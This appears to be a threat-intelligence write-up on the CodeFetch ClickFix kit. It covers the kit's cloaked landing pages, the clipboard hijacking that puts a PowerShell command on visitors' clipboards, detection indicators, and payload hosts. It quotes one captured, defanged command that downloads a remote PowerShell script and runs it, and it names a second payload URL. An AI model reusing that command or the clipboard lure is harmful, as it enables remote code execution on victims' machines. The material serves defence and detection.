Web threats / ClickFix

CodeFetch ClickFix kit

CodeFetch is a ClickFix landing kit behind a traffic cloaker. Compromised sites frame it, and it fetches its PowerShell command from getcode.php. We have caught it on 4 sites since 28 September, and our rules have matched 5 of its own hosts.

CodeFetch in numbers

Since 28 September, the first CodeFetch match in our records, counted on 16 November 2026. How we count.

Compromised sites framing CodeFetch4
Sites with a match in the last 30 days1
Operator hosts our rules matched5
New sites in October2

The landing sits behind a cloaker

CodeFetch runs on the operators' own domains, and compromised sites only frame it. Each domain serves the same set of files: land.php, getcode.php, config/config.php, config/land-flags.php and scripts named code-fetch.js, land-bar.js, land-shot.js, await-gesture.js and cf-syscheck.js. The kit is named for code-fetch.js.

A comment the operator left in the landing's index page, in Russian, explains the setup: Adspect, a commercial traffic cloaker, is set so its "money" action loads the local landing, and only the captcha is shown (land.php?bar=...). Visitors Adspect judges to be real get the lure. Scanners and reviewers get whatever the cloaker shows instead.

On the compromised site, a loader covers the page with a full-screen frame pointing at the landing. The loader is either OfferLodge or a shorter script that first checks the landing answers. The frame carries allow="clipboard-read; clipboard-write", and the landing receives the compromised site's address in its bar parameter, which land-bar.js keeps as __LAND_BAR_HOST.

compromised site
  -> loader adds a full-screen frame
  -> operator host /?v=... (Adspect decides)
  -> land.php?bar=<compromised site>
  -> getcode.php returns the command

Every copy becomes the command

The landing is a Cloudflare-style check: a #captcha-root box labelled "Verify you are human", then a panel titled "Complete these verification steps" that tells the visitor to press Windows+X, pick Terminal or Windows PowerShell, paste with Ctrl+V and press Enter. A fake "Cloudflare Verification ID" line finishes the act.

code-fetch.js fetches the command from getcode.php with cache: 'no-store', stores it in window.powershell_code and puts it in a hidden #codeforcopy textarea. It then takes over copying on the whole page: copy events, navigator.clipboard and document.execCommand('copy') all write the command, whatever the visitor selected. The placeholder text codeforcopy and copiedcode is never copied.

The command we recovered from one landing in November 2026 downloads a script over plain HTTP and runs it in PowerShell. The page also reports each visit to a kl/<folder>/ipworker.php?visit=1 path on the same host.

What we see

MonthNew sites
September1
October2
November so far1

The hosts counted here are the operators' landing domains. The compromised sites that frame them carry the loader, which their own kit pages count.

Checking a site

On a site you suspect, look for a loader that adds a full-screen iframe with clipboard permissions, then load the framed address and search its source for:

  • land.php with a bar= parameter naming your site
  • js/code-fetch.js, js/land-bar.js and js/land-shot.js
  • fetch('getcode.php' and window.powershell_code
  • a hidden <textarea id="codeforcopy">
  • "Complete these verification steps" with Windows+X and Terminal steps

The cloaker answers scanners with other content, so a clean fetch of the landing from a server proves nothing. Remove the loader from the compromised site.

Hosts its commands download from

CodeFetch lure commands we captured download from 2 hosts.

HostSitesLast seenLatest command
vine-reserve-club-bakup-prod[.]s3[.]us-east-1[.]amazonaws[.]com3
Command
& {curl.exe -s hxxps://vine-reserve-club-bakup-prod[.]s3[.]us-east-1[.]amazonaws[.]com/p.ps1 -o $env:TEMPcf.ps1; [scriptblock]::Create((gc $env:TEMPcf.ps1 -Raw)).Invoke()}__V__E__R__I___F__I__E__D ________________________________

URL hxxps://vine-reserve-club-bakup-prod[.]s3[.]us-east-1[.]amazonaws[.]com/p.ps1

First seen 12 October 2026, 1 URL on this host.

build[.]polysupport[.]team1
Decoded URL

URL hxxps://build[.]polysupport[.]team/otadm/build.zip

First seen 28 September 2026, 1 URL on this host.

The ClickFix command tracker lists every host.

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